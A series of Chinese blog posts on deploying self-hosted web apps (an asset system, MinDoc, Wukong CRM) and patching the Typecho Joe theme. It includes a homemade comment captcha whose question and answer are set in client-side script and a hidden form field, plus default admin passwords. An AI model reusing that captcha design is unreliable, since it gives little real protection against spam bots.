系统配置管理系统全局设置。基础配置系统名称（同步前台标题和后台侧边栏）站点域名文字 LOGO（侧边栏显示）图片 LOGO 上传（支持 JPG / PNG / GIF / WEBP / SVG，最大 2MB）调试/维护模式开关（开启后前台跳转维护页）版权信息：支持 HTML 内容，显示在前台和后台页脚SEO / TDK：保存后服务端注入 HTML，立即生效页面标题、SEO 元信息从后台配置读取，服务端直接注入 HTML系统名称、LOGO、版权信息动态渲染2.7、 数据导出支持将各模块数据导出为 Excel 或 PDF 文件。可导出模块：设备列表、资产列表（配件/软件/耗材/服务）、客户列表、维护记录、审计日志导出格式：Excel（.xlsx）/ PDF导出字段包含各模块的核心信息2.8、 审计日志系统自动记录所有关键操作，并提供后台查询界面。记录内容：操作人、操作类型、目标类型、目标 ID、操作详情、IP 地址、浏览器标识、操作时间自动记录的操作：登录/登出、设备的增删改/报废、客户的增删改、资产的增删改/报废、维护记录的增删改、修改密码、更新系统配置、上传 LOGO 等查询筛选：操作人、操作类型、日期时间范围分页浏览：每页 20 条2.9、 界面主题暗色主题：全后台采用暗色主题配色，Element Plus 组件（表格、输入框、按钮、对话框、下拉框、分页、标签、气泡提示等）全局适配暗色统一圆角：表格 12px 圆角，与卡片风格一致多级菜单：资产侧边栏按类型分类八、数据库表结构系统共使用 10 张数据表：表名说明admin_users管理员账号（用户名、密码哈希、盐值）site_settings站点配置（KV 键值对结构）customers客户信息（编码、名称、地址、网址）customer_contacts客户联系人（姓名、邮箱、电话，关联客户）devices设备信息（序列号、名称、客户、质保、价格、图片 url×3、状态）assets资产信息（配件/软件/耗材/服务统一存储，含类型、质保、服务、归属设备等字段）todos维护记录（标题、状态、优先级、关联设备）value_history资产价值历史快照（按月/年记录各类资产价值）sessionsSession 持久化（express-mysql-session 自动管理）audit_logs操作审计日志（操作人、类型、详情、IP、时间）完整建表语句见 server/schema.sql。九、部署说明1、前端/public-vue/2、使用 PM2 守护进程（推荐）npm install -g pm2 cd server pm2 start index.js --name "support-it" pm2 save pm2 startup3、使用 Nginx 反向代理server { listen 80; server_name your-domain.com; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }4、数据库初始化系统启动时会自动执行 server/schema.sql 创建所需表结构，无需手动导入。5、宝塔面板布署教程5.1、资产管理系统的文件列表说明show 目录：系统功能说明图片及演示网页database.sql.zip 示例数据库文件public-vue.zip 前端程序readme.md 系统功能说明server.zip 后端程序5.2、建立数据库在宝塔的数据库中建立如下数据库：记得把这些信息拷贝备用：数据库名称、帐号、密码数据库建立完成后，上传示例数据库文件并导入database.sql.zip5.3、上传前后端程序在宝塔文件管理中建立系统专用的目录Asset-Management-System并把前后端程序上传如下：public-vue为前端程序目录，server为后端程序目录5.4、修改数据库连接信息server目录下有个.env文件，打开它：把你刚才建立的数据库里的信息填入，如实填就行，不要和我的一样。5.5、建立前端网站网站建立的时候选择纯静态即可，网站目录要选择前端目录public-vue5.6、安装及运行服务端在宝塔的--网站--Node项目中，打开Node项目管理器，安装好Node.js依赖再添加一个Node项目，目录要选择后端目录server，其它的都是自动匹配的，不需要手动去填，最下面的包管理器要手动选择npm顺利的话确定之后后端程序就应该跑起来了后端面板查看一下运行日志，确定没问题，成功在跑这时候我们就可以通过以下链接进行使用了：管理后台: http://localhost:3000/admin/前台访问: http://192.168.64.13:30005.7、做反代去端口访问程序为了和其它项目共生，默认并没有直接跑80端口，我设置了3000端口使用。为了去端口访问，我们可以在宝塔做个反向代理即可在网站前台项目属性找到反向代理，进行如下设置即可：如此，我们的资产管理系统就算正式上线了！十、安全说明管理员密码使用 scrypt 算法加盐哈希存储登录接口限流 5 次/分钟/IP，防止暴力破解API 接口限流 100 次/分钟/IP（含前台查询和后台管理接口）Session 有效期 24 小时，存储在 MySQL 中使用 helmet 设置安全响应头所有管理接口需登录认证关键操作自动记录审计日志（含 IP 和 User-Agent）十一、管理员密码找回若忘记管理员密码，可通过以下方式重置：1、直接修改数据库# 进入 MySQL mysql -u 数据库用户名 -p # 使用系统数据库 USE support_it; # 删除管理员账号，系统重启后会自动使用 .env 中的配置重新创建默认账号 DELETE FROM admin_users WHERE username = 'admin';重启服务后，系统会自动使用 .env 中配置的 ADMIN_USERNAME 和 ADMIN_PASSWORD 创建管理员账号。2、默认账号用户名：admin（可在 .env 中配置 ADMIN_USERNAME）密码：admin123（可在 .env 中配置 ADMIN_PASSWORD）十二、下载地址百度网盘下载地址，说明：此价格仅是程序包价格，不提供技术支持，请自行研究。若需要代布署至服务器，或者功能需要定制，请联系站长，提供有偿服务。
-
Typecho 打赏插件Donate 魔改适配JOE主题 序言Donate插件有个好处是可以分别设置微信和支付宝的收款码。虽然、但是、也许没什么鸟用，因为我从来也没收到过一笔打赏。但是本着我可以不用，但不能没有的原则，这个功能还是不能缺失的。万一哪天遇到个金主，也许失恋了，一下给咱赏个万儿八千的也说不定不是？ 😁 JOE默认主题有个点赞功能，在每篇文章的结尾会有个红心点赞的图标，我的目的是把打赏图标也和点赞功能放在一行，并且调整好图标大小、位置即可。但是Donate插件默认并不对JOE主题有适配，强制放到一起的结果就是这样，图标大小不一也不对齐：所以我们要对代码进行一下微调。第一步：增加Donate插件的调用代码修改joe/post.php文件,找到如下代码：<?php $this->need('public/article.php'); ?> <?php $this->need('public/handle.php'); ?> <?php $this->need('public/operate.php'); ?> <?php $this->need('public/copyright.php'); ?> <?php $this->need('public/related.php'); ?>其中第二行<?php $this->need('public/handle.php'); ?>即为点赞代码，我们需要对这一行进行魔改，增加打赏插件的调用，以使其能够排在一起，魔改好之后的代码如下：<?php $this->need('public/article.php'); ?> <!-- 在点赞右侧增加打赏功能 --> <div style="display: flex; justify-content: center; align-items: center; gap: 15px; margin: 10px 0;"> <?php $this->need('public/handle.php'); ?> <div style="position: relative; top: -23px;"> <?php Typecho_Plugin::factory('rootvip.cn.Donate')->Donate(); ?> </div> </div> <?php $this->need('public/operate.php'); ?> <?php $this->need('public/copyright.php'); ?> <?php $this->need('public/related.php'); ?>其中，top: -23px;参数则为打赏图标的上下位置控制变量，负数向上，正数向下。-23是我针对JOE主题适配的数值。第二步：对Donate插件原生css样式进行修改修改/plugins/Donate/assets/style.css文件，找到如下代码：#donate-btn{ width: 50px; height: 50px; background: #e26d6d; color: #fff; font-size: 20px; font-weight: 600; border-radius: 50%; text-align: center; line-height: 50px; cursor: pointer; display: inline-block; position: relative; box-shadow: 0 2px 4px rgba(0, 0, 0, .12), 0 0 6px rgba(0, 0, 0, .04)我们要改三个地方：#donate-btn{ width: 45px; /* 改成45适配JOE主题，图标宽 */ height: 45px; /* 改成45适配JOE主题，图标高 */ background: #e26d6d; color: #fff; font-size: 20px; font-weight: 600; border-radius: 50%; text-align: center; line-height: 45px; /* 改成45适配JOE主题，图标里面文字高度 */ cursor: pointer; display: inline-block; position: relative; box-shadow: 0 2px 4px rgba(0, 0, 0, .12), 0 0 6px rgba(0, 0, 0, .04)OK，就这些了，保存后清空一下缓存刷新网页试试：修改好的插件下载：回复可见隐藏内容，请前往内页查看详情
-
Typecho Joe主题增加简单的计算式验证码 序言之前我写过这么一篇文章： Typecho上Joe主题安装XCaptcha验证码防止垃圾评论 当时测试的时候是没有问题的，这东西因为都是靠云端验证的，需要服务商的API key。我用的是cf验证，只知道因为CF漂洋过海在我们中国大陆可能速度上不是很理想，其实也想找其它的替代的，耐何没找到中意的，就一直没管它。 直到今天有位老铁私下找我，说不能评论了，我测试了一下确实不行。不知道后来被我改了哪里，没办法提交评论。至于什么时候失效的，我也不知道了。 索性不管它了，决定手搓一个更简单的。一、目标宗旨是越简单越好，只要在提交评论前增加一个100以内的加减法即可，所以呢就需要做到修改的文件越少、修改的地方越少越好。最终经过实验，只需要改动一个文件的代码即可完美实现。二、方法1、第一段代码：编写验证码盒子： 打开/joe/public/comment.php定位到发送评论按钮这段代码：<div class="foot"> <div class="owo joe_owo__contain"></div> <div class="submit"> <span class="cancle joe_comment__cancle">取消</span> <button type="submit">发送评论</button>在<div class="owo joe_owo__contain"></div>和<div class="submit">中间也就是第2行和第3行之间插入验证码代码，最终代码如下：回复可见隐藏内容，请前往内页查看详情这里我分段解释一下代码的意思：<!-- 这是最外层的大盒子，负责把验证码 居中显示 --> <div style="margin: 10px 0; <!-- 上下留10px空隙，美观 --> text-align: center; <!-- 让里面的内容 水平居中 --> width: 100%;" <!-- 宽度占满整行，才能居中 --> id="verify_box" <!-- 给这个盒子一个名字，方便JS控制 --> ><!-- 这是内层小盒子，负责把 题目 + 输入框 排在同一行 --> <div style="display: inline-flex; <!-- 让内容横向排列（题目+输入框并排） --> align-items: center; <!-- 垂直居中对齐，看起来整齐 --> gap: 8px;" <!-- 题目和输入框之间留8px空隙 --> ><!-- 这是显示计算题目的文字，比如 15 + 23 = ? --> <span id="code_text" style="font-size:14px; <!-- 文字大小14px --> color: #00D800 !important; <!-- 文字颜色：绿色 --> font-weight: bold;" <!-- 文字加粗 --> ></span><!-- 这是你用来输入答案的输入框 --> <input type="text" <!-- 普通文本输入框 --> id="code_input" <!-- 给输入框取名 --> name="verify_code" <!-- 提交时用的名字 --> placeholder="输入答案" <!-- 没输入时显示的灰色提示文字 --> style="background:transparent !important; <!-- 背景：透明 --> color: #00D800 !important; <!-- 输入的文字：绿色 --> font-weight: bold; <!-- 输入的文字：加粗 --> padding:5px 8px; <!-- 内边距，让框变大好点 --> border:1px solid #ddd; <!-- 边框：灰色细线 --> border-radius:4px; <!-- 边框圆角，更美观 --> width:70px;" <!-- 输入框宽度 --> ><!-- 隐藏的输入框，不用管，后台验证用的 --> <input type="hidden" id="code_answer" name="verify_answer">2、对验证码盒子进行控制：在文件结尾直接添加如下代码即可：回复可见：隐藏内容，请前往内页查看详情再分段解释一下代码的意思：$(function() { // 验证码JS function refreshCode() { let num1 = Math.floor(Math.random()*41)+10; // 生成50以内的随机数 let num2 = Math.floor(Math.random()*41)+10; // 第二个50以内的随机数 // 注：如果你想把两个数改为10以内的个位数，则上面两个变量*41)+10改为*9)+1即可。 window.answer = num1 + num2; // 把两个数相加 $("#code_text").text(num1 + " + " + num2 + " = ?"); $("#code_input").val(''); }<div style=' position:fixed; /* 这个最关键：让提示框 固定在屏幕上，不随滚动条移动 */ top:50%; /* 距离屏幕顶部 50% → 垂直方向中间 */ left:50%; /* 距离屏幕左边 50% → 水平方向中间 */ transform:translate(-50%,-50%); /* 让提示框自身真正居中，不偏移 */ background:#222; /* 背景颜色：深灰色 */ color:#fff; /* 文字颜色：白色 */ padding:15px 25px; /* 内边距：让文字和边框之间有空隙，看起来不拥挤 */ border-radius:4px; /* 圆角：让提示框四角变圆，更好看 */ z-index:9999; /* 层级最高：确保提示框在最上面，不被其他内容挡住 */ ' > 请输入正确的答案！ <!-- 提示框里显示的文字 --> </div>最终成品展示：技术有限，做得不好请见谅！
-
Typecho博客迁移到本地环境打不开的故障修复 序言今天折腾我的博客，因为一个评论插件设置错误，导致了我后台上不去了。于是我把整站打包下载到本地环境进行调试，结果本地环境网站后台都打不开。分析问题根源我服务器站点配置里强制开启了 HTTPS+SSL，而本地环境是 HTTP，加上数据库里还保存着原域名的 HTTPS 配置，导致访问时不断跳转。知道原因就好解决了：第一步：修改数据库配置，清除强制 HTTPS打开本地数据库的typecho_options表，执行以下 SQL 语句，把站点地址改回本地 HTTP：UPDATE `typecho_options` SET `value` = 'http://192.168.66.28' WHERE `name` = 'siteUrl'; UPDATE `typecho_options` SET `value` = '0' WHERE `name` = 'rewrite'; -- 先关闭伪静态，避免跳转问题注意：把http://192.168.66.28 换成你本地实际的访问地址（比如我这里改的是本地服务器的地址http://192.168.66.28）。第二行可以不执行，只需要在伪静态配置中和服务器作一样的配置即可。第二步：修改 Typecho 配置文件，禁用 HTTPS 跳转打开 Typecho 根目录下的config.inc.php文件，添加 / 修改这两行：// 强制关闭HTTPS define('__TYPECHO_SECURE__', false); // 强制设置站点地址（覆盖数据库配置） define('__TYPECHO_SITE_URL__', 'http://localhost/你的本地目录');保存文件，这一步能直接覆盖数据库里的旧配置，避免跳转。第三步：检查本地服务器配置，关闭 HTTPS 强制跳转如果你的本地服务器（比如 Apache/Nginx）开启了 HTTPS 重定向，也会导致跳转：Nginx 环境：找到站点配置文件，删除所有带return 301 https://$host$request_uri;的重定向规则，或者修改为 HTTP。第四步：清除浏览器缓存和 Cookie浏览器会缓存旧的 HTTPS 跳转规则，即使你修改了配置，也会继续跳转：打开浏览器，进入设置 → 清除浏览数据勾选「缓存文件和图片」「Cookie 和其他网站数据」，清除后关闭浏览器重新打开浏览器，访问本地站点地址
-
Typecho上Joe主题安装XCaptcha验证码防止垃圾评论 1、序言这么些年被垃圾评论给搞怕了，之前我在管理自己的网站的时候，安全第一，一般都是设置的评论需要我人工审核才可以通过。这个带来的不好的体验就是经常有访客不能及时浏览到回复可见的内容而导致网站体验不佳。今天我在github上看到有这么一个typecho插件，瞬间来了心致，分分钟布署到自己的网站上，一番使用下来，体验感极佳。 github地址 XCaptcha 因为我使用了Joe主题+胖蒜TePass插件，故而这个验证码插件还需要做一些设置。2、布署过程①、将插件下载并上传到网站，这个就不说了②、后台启动插件并设置这个插件有多种验证方式，刚好我的域名是在CF管理的，所以我就选择了CF的验证方式，需要到CF后台进行一下设置③、cloudflare验证设置在cf后台左侧菜单栏找到应用程序安全并点击Turnstile再点击添加小组件名称--任意主机--你的域名（rongyan.cc）模式--托管预先许可--否然后点击创建接下来把申请到的密钥在插件后台对应填写进去。④ 在需要增加验证码的位置添加相关代码，2处（登陆页+评论按钮处）添加的验证码代码如下：<?php if (array_key_exists('XCaptcha', Typecho_Plugin::export()['activated'])) : XCaptcha_Plugin::showCaptcha(); endif; ?>因为我使用了胖蒜TePass插件，故而登陆页在目录TePass/theme/ucenter下，打开signin.php文件，找到登陆按钮处，在前面增加如下代码：评论按钮处在Joe主题/joe/public目录下的comment.php文件里这些操作完成后重新刷新一下网页就可以了2026-02-05补充： 经过几天的实测，好家伙，这么多机器人，验证结果：
-
Typecho Joe 主题升级1.3版本后的一些bug修补及美化 序言记录一下Typecho 从1.2升级到1.3过程后的一些修补，有一些是typecho本身的问题，还有一些是JOE主题好久不更新了，似乎和1.3版本有一些不兼容。这个主题是我一直用的，很喜欢，多少年了，虽然也知道不更新一直下去不是事，但是也测试了好多其它的主题，一个能打的都没有。也只能将就着，修修补补继续用吧~JOE主题地址（感谢作者）：JOE一、修补记录表1、头像问题Typecho默认使用的是Gravata头像，Gravatar大多数的链接在国内都被墙了，加载失败不说，还影响博客加载速度。一般修改有两种方式，一种直接改主题，另一种改typecho的源码，我这里是直接改源码，当然修改的cravatar链接是一样的打开：/typecho/var/Typecho/common.php，找到 gravatarUrl(大概856行)之前一直用cn，挺好的，最近发现cn的ssl过期了，短时间内似乎未更换，后来发现com也可以用，直接就切换过来了改为这个：$url = $isSecure ? 'https://cravatar.com' : 'https://cravatar.cn';另外在推荐一个，也比较稳定：https://cravatar.com/2、独立页面的链接无法正常生成或获取；侧边栏“随机文章”小工具中，文章条目的链接异常。（joe主题bug)升级到1.3之后发现，独立页所有的链接统一指向主页，都失效了。核心原因：Typecho核心版本的升级可能引入了新的函数或更改了某些函数的调用方式，导致旧版主题中部分兼容代码失效。修复的重点在于更新主题中生成链接的相关代码，确保其与新版Typecho兼容。涉及文件：usr/themes/Joe/public/header.php：此文件通常包含网站的头部信息，独立页面的链接生成可能与此相关。usr/themes/Joe/core/function.php：这是主题的功能函数文件，常用于扩展主题功能，"随机文章"这类小工具的逻辑很可能定义于此。解决办法：下载这里提供的两个修正过的文件替换原文件即可：下载地址(回复可见）：隐藏内容，请前往内页查看详情3、后台css显示异常（joe主题bug)解决办法：定位到\admin\css\style.css文件，搜索.typecho-post-area .description，在之后的代码中将其修改成这样即可：{card-default label="原代码：margin-top:-0.5em;" width="80%"}新代码：margin-top:0em;{/card-default}替换完成之后保存然后ctrl+f5刷新网页，就可以看到后台生效了。4、搜索时不会出现搜索关键词的修复（joe主题bug)解决办法：找到usr/themes/Joe/archive.php并打开，找到第25行，如下图所示：将_keywords改为archiveTitle即可，改后如下：再试着搜索一下，正常了：5、给后台撰写文章添加“常用标签选择”功能：修改./admin/write-post.php文件内的如下代码{tabs}{tabs-pane label="需要修改的代码"}<section class="typecho-post-option"> <label for="token-input-tags" class="typecho-label"><?php _e('标签'); ?></label> <p><input id="tags" name="tags" type="text" value="<?php $post->tags(',', false); ?>" class="w-100 text"/></p> </section>{/tabs-pane}{tabs-pane label="修改后的代码"}<section class="typecho-post-option"> <label for="token-input-tags" class="typecho-label"><?php _e('标签'); ?></label> <p> <input id="tags" name="tags" type="text" value="<?php $post->tags(',', false); ?>" class="w-100 text" /> <style> .tagshelper { margin-top: 15px; } .tagshelper-list { list-style: none; border: 1px solid #D9D9D6; padding: 6px 12px; max-height: 240px; overflow: auto; background-color: #FFF; border-radius: 2px; } .tagshelper a { cursor: pointer; padding: 2px 6px; margin: 2px 2px; display: inline-block; border-radius: 2px; text-decoration: none; border: 1px solid #e2e2e2; background: #f9f9f9; font-size: 13px; color: #666; } .tagshelper a:hover { background: #467B96; color: #fff; border-color: #467B96; } </style> <?php $tagsWidget = Typecho_Widget::widget('Widget_Metas_Tag_Cloud', 'sort=count&desc=1&limit=200'); $tagsHtml = ''; if ($tagsWidget->have()) { while ($tagsWidget->next()) { $tagName = $tagsWidget->name; $safeName = addslashes($tagName); $tagsHtml .= "<a onclick=\"$('#tags').tokenInput('add', {id: '{$safeName}', tags: '{$safeName}'});\">{$tagName}</a>"; } } else { $tagsHtml = '暂无标签'; } ?> <script> window.addEventListener('load', function() { if (typeof $ !== 'undefined') { var tagsList = <?php echo json_encode($tagsHtml); ?>; var container = '<div class="tagshelper">常用标签选择：<div class="tagshelper-list">' + tagsList + '</div></div>'; $('#tags').after(container); } }); </script> </p> </section>{/tabs-pane}{/tabs}问题2&3解决办法来源于此作者宗同学，感谢！问题4解决办法来源于此作者JAVA小学生，包括使用的优化版JOE主题也是来自于他，感谢！其它还有一些小毛病修改的时候忘了记录了，后期想起再补上~二、一些美化，基于JOE主题1、头像呼吸光环和鼠标悬停旋转放大主题全局设置自定义CSS中，填入如下代码：/*头像七彩霞云*/ .avatar { border-radius: 50%; animation: light 4s ease-in-out infinite; transition: 0.5s; } .avatar:hover { transform: scale(1.15) rotate(720deg); } @keyframes light { 0%{box-shadow: 0 0 4px #f00;} 25%{box-shadow: 0 0 16px #0f0;} 50%{box-shadow: 0 0 4px #00f;} 75%{box-shadow: 0 0 16px #0f0;} 100%{box-shadow: 0 0 4px #f00;} }2、黑夜模式下LOGO显示的问题JOE主题可以切换白天黑夜模式，可是黑夜模式下LOGO显示的是某个svg而不是我们网站的logo，如下：需要修改的文件：/joe/assets/css/joe.mode.min.css有两处地方需要修改：{tabs}{tabs-pane label="第一处"} 找到代码html[data-night='night'] .joe_header__above-logo img{display:none} 改成这样html[data-night='night'] .joe_header__above-logo img{display:block;filter:invert(1);}{/tabs-pane}{tabs-pane label="第二处"} 找到代码html[data-night='night'] .joe_header__above-logo svg{display:block} 改成这样html[data-night='night'] .joe_header__above-logo svg{display:none}{/tabs-pane}{/tabs}{message type="info" content="代码解释"/}{callout color="#f0ad4e"}joe_header__above-logo img{display:block;filter:invert(1);}第一段：意思是让logo自动反色显示如果你只想显示正常logo无需反色，则改为joe_header__above-logo img{display:block}{/callout}{callout color="#f0ad4e"}joe_header__above-logo svg{display:none}第二段：意思是让svg不显示{/callout}改完后保存css文件，清空浏览器缓存，有CDN的还要清空一下CDN，刷新页面：
-
用宝塔面板布署像飞书一样的开源文档管理系统MinDoc MinDoc 简介MinDoc 是一款针对IT团队开发的简单好用的文档管理系统。MinDoc 的前身是 SmartWiki 文档系统。SmartWiki 是基于 PHP 框架 laravel 开发的一款文档管理系统。因 PHP 的部署对普通用户来说太复杂，所以改用 Golang 开发。可以方便用户部署和实用。可以用来储存日常接口文档，数据库字典，手册说明等文档。内置项目管理，用户管理，权限管理等功能，能够满足大部分中小团队的文档管理需求。官方说明文档：https://demo.mindoc.cn/docs/mindochelp下面我们结合宝塔面板在服务器上布署这个好用的在线文档系统。1、要准备好一个域名，比如我现在用的是doc.abc.com，将其解析到服务器上2、配置好Golang环境从下面的链接下载好Golang和MinDoc源码包，回复可见。[hide]https://pan.baidu.com/s/1At7akrP_6wcCAevMYiFa-A?pwd=48hv[/hide]Golang源码包也可以自行去其官网下载：3、打开宝塔的文件管理，/www/server/下建立名称为go的文件夹，将下载好的 Golang 源码包上传到此目录并解压；4、上传成功后解压，程序会在go目录下新增一个go子文件夹，需要把它前切到当前go目录，解压好的go目录文件列表如下：5、打开/etc/profile，在 profile 文件最底部添加以下代码，如下图：export GOROOT=/www/server/go export GOBIN=$GOROOT/bin export GOPKG=$GOROOT/pkg/tool/linux_amd64 export GOARCH=amd64 export GOOS=linux export GOPATH=/www/wwwroot/Golang export PATH=$PATH:$GOBIN:$GOPKG:$GOPATH/bin6、SSH连上服务器，执行 source /etc/profile 命令使其生效，使用 go version 命令来测试Go语言环境是否安装成功，如下图：source /etc/profile go version如此则完成了Golang环境搭建。7、宝塔面板先建立一个网站，域名使用上面解析好的doc.abc.com，数据库编码选择utf8mb4，如下图，添加成功后记好数据库信息备用。8、将上面一起下载好的MinDoc源码包，上传到新建网站的根目录：9、修改 conf/app.conf 配置文件，有两处地方需要修改：其一baseurl，将下方的IP+端口那一条禁用，将上方动态引用的那一条启用（前面的#增加即为禁用，删除即为启用）。默认端口见httpport，为8182，可以根据自己的情况修改。这里我就不动了，因为后期我是要反向代理的，用什么端口都无所谓。其二填写数据库类型、数据库名、用户名和密码，如下图：10、SSH远程连接上服务器，在root帐户下执行如下命令初始化数据库，如下图：cd /www/wwwroot/mindoc ./mindoc_linux_musl_amd64 install提示 Install Successfully 说明已经安装完成。程序默认会自动建立一个超级管理员帐户admin，初始密码12345611、执行如下命令启动MinDoc程序：chmod +x mindoc_linux_musl_amd64 ./mindoc_linux_musl_amd64此时在浏览器输入ip:8182 就可以使用文档管理系统了（宝塔防火墙需要放行8182）。有些服务器还需要在后台开通相应端口。12、打开doc.abc.com网站的设置面板，先申请一个SSL证书，这样我们就可以用https://doc.abc.com的方式来安全使用mindoc系统了。13、再转到反向代理，添加一则反向代理条例：●代理名称：mindoc(任意写） ●目标URL：http://127.0.0.1:8182 ●发送域名：$host ●内容替换：留空接下来我们用https://doc.abc.com访问试一下：可以正常访问。但是，登陆后台会提示系统错误：14、我们先去把那个反向代理删掉，选择下一种反向代理方式：在配置文件里，最后一个大括号前增加如下代码： # 这里为具体的服务代理配置 location @backend { proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; #此处配置 MinDoc 程序的地址和端口号 proxy_pass http://127.0.0.1:8182; } 如此我们即可以用https://doc.abc.com正常登陆了。备注：一些可能会用到的命令备忘：以服务的方式运行：#安装服务 ./mindoc_linux_musl_amd64 service install #卸载服务 ./mindoc_linux_musl_amd64 service remove启动mindoc,并设置开机自启动systemctl start mindocd systemctl enable mindocd修改管理员密码./mindoc_linux_musl_amd64 password -account admin -password 123456直接从数据库修改密码假如你知道一个人的密码，直接将数据库md_member 中的 password 字段变更成已知的密码密文即可。查看当前mindoc版本：./mindoc version会看到如下的版本信息: #当前安装的版本版本号 MinDoc current version => v1.0 #最新版本版本号 MinDoc last version => v1.0找回密码的邮件配置邮件配置信息位于 conf/app.conf 中：####################邮件配置###################### #是否启用邮件 enable_mail=false #每小时限制指定邮箱邮件发送次数 mail_number=5 #smtp服务用户名 smtp_user_name=admin@iminho.me #smtp服务器地址 smtp_host=smtp.ym.163.com #smtp密码 smtp_password= #端口号 smtp_port=25 #发送邮件的显示名称 form_user_name=admin@iminho.me #邮件有效期30分钟 mail_expired=30 #加密类型NONE 无认证、SSL 加密、LOGIN 普通用户登录 secure=SSL
-
用宝塔面板搭建悟空CRM-11.0-PHP客户管理系统 准备工作1、到下面的链接下载悟空CRMhttps://gitee.com/wukongcrm/crm_php#server%E6%90%AD%E5%BB%BA在克隆/下载菜单里点下载ZIP将源码包下载到本地电脑2、接着，宝塔环境准备：我这里是Apache+PHP7.4(Nginx也可以的，PHP版本要保证7.0以上）php需要安装有redis扩展，官方有说明：redis扩展安装：3、为了安全，安装完成后进行redis设置面板进行设置：记住设置的端口及连接密码，后面要用到4、接着就可以创建网站了：假如宝塔安装了多个PHP版本，请注意PHP版本的选择要正确（涉及到是否安装了redis)并且直接生成一个数据库，记好数据库连接信息，后面要用到。5、在宝塔的文件管理中，进入刚才新建的网站目录，删掉系统自动生成的几个文件：6、将下载下来的CRM源码压缩包直接上传到网站目录并解压：7、默认解压会有个目录，需要注意的是要到目录里把所有的文件剪切到网站根目录：最后的网站目录应该是这个样子：8、然后，我们需要修改config/database.php配置文件：将config目录下的database_template.php文件重命名为database.php打开编辑：根据自己的实际情况填写：上面在建立网站的时候一并建立的数据库信息，把它填入此处保存关闭即可： 'hostname' => '127.0.0.1',一般不需要变动 'database' => '数据库名称', 'username' => '数据库连接用户名', 'password' => '数据库连接密码', 'hostport' => '数据库连接端口',9、依然是config目录，打开config.php文件，配置redis连接信息（第3步的内容）： 'host' => '127.0.0.1',一般不需要变动 'port' => redis连接端口, 'password' => 'redis连接密码', 10、将源码包里的四个sql文件（数据库文件）解压到本地，并依时间顺序导入到CRM数据库里去：见下图，按从上到下的顺序导入：步骤如下：上传完成后，直接点导入：重复以上步骤，直至将四个数据库文件全部导入即可（注意时间顺序！！）11、全部配置完成后，用域名访问：若提示“悟空软件”四个字，说明配置是正确的：12、开始正式安装：打开浏览器，访问http://你的域名/index.php/admin/install/index.html同意协议：环境检测，继续下一步：填好数据库信息及建好初始管理员：安装序列号：6EA74C261C4BA344BC716FCD68295694BABFE016F5B7FA4890E4E29B0F52A5D965EE4A1AF633633D4573A2559630986F976D8F2920D688686CB60967F6FFB9FDADE6AC6DFD39416DE175D0DE01699C816244C16EE4E533A959E3ED0653143A7363E5B98E62126A78CDC5578636F456D29FD2B063FCBED837D50B10450C6FFBF0290DB782C8D4525864A96A98C37C0106FB5D8392A7E828F0BEFA86B4CD28BEBE83628A59BB23F60B7799A22C8D7B2039ED30F05492E9D2A2E2A03D7AC0199EA2CE529D561AE622B3C0DECC50D8A223BC5DA03E3AFF1150F0F217B0BE0400835369329DB74454870D5314DBA7C24B98CCE5600CBDAF264A21974FA3C85E7EAF0A点“安装”：安装完成：登陆成功，安装成功：补充：网站的默认文档一般都是index.php在前，悟空的默认文档应该设置为index.html,否则每次不能自动显示登陆页到默认文档设置里把除index.html以外的全部删除然后点添加即可。2023-03-11 重要说明：悟空软件名义上是开源，但是它开源仅仅是针对个人学习使用，假如你私自用于公司运营，则构成了侵权了，各位三思。（开源这俩字人家悟空玩得好呀！我就奇了怪了，这CRM系统个人是如何能够使用起来的？所以悟空这所谓的开源，不过是挂羊头卖狗肉，一个低极的营销手段罢了）这软件开源版授权价格不菲，至少6万+，一旦被悟空软件发现你用于公司环境使用，后果你懂的。我也只是搭建起来体验一下，本来是打算推给公司销售部使用的，一问价格怂了，用不起用不起。所以我已经体验完把它下架了，换了一家能够买得起的（https://www.bgk100.com/)帮管客，这家价格还在可接受范围，功能上虽然没有悟空多，但是作为一个CRM系统，足够了。有兴趣的可以去了解一下。
-
typecho 插件links 错误1366 - Incorrect integer value for column id at row 1 解决方案 typecho 有个友情链接管理的插件LINKS，装上了一直没加链接今天想加个链接，结果一提交出现了如下的错误：Incorrect integer value: '' for column 'id' at row 1经过百度，发现这是mysql 5.x以上的版本如果是空值应该要写NULL。官方说：得知新版本mysql对空值插入有"bug"，要在安装mysql的时候去除默认勾选的enable strict SQL mode。那么问题是我们发现问题的时候，肯定是已经安装完mysql了，这种情况下，我建议按照mysql的规则去做，该NULL就NULL，没啥麻烦的，反而我觉得这样更好。但非要解决这个问题，可以从mysql中的配置 my.ini入手，以下是解决办法：my.ini中查找sql-mode，默认为sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"，将其修改为sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"，重启mysql后即可。
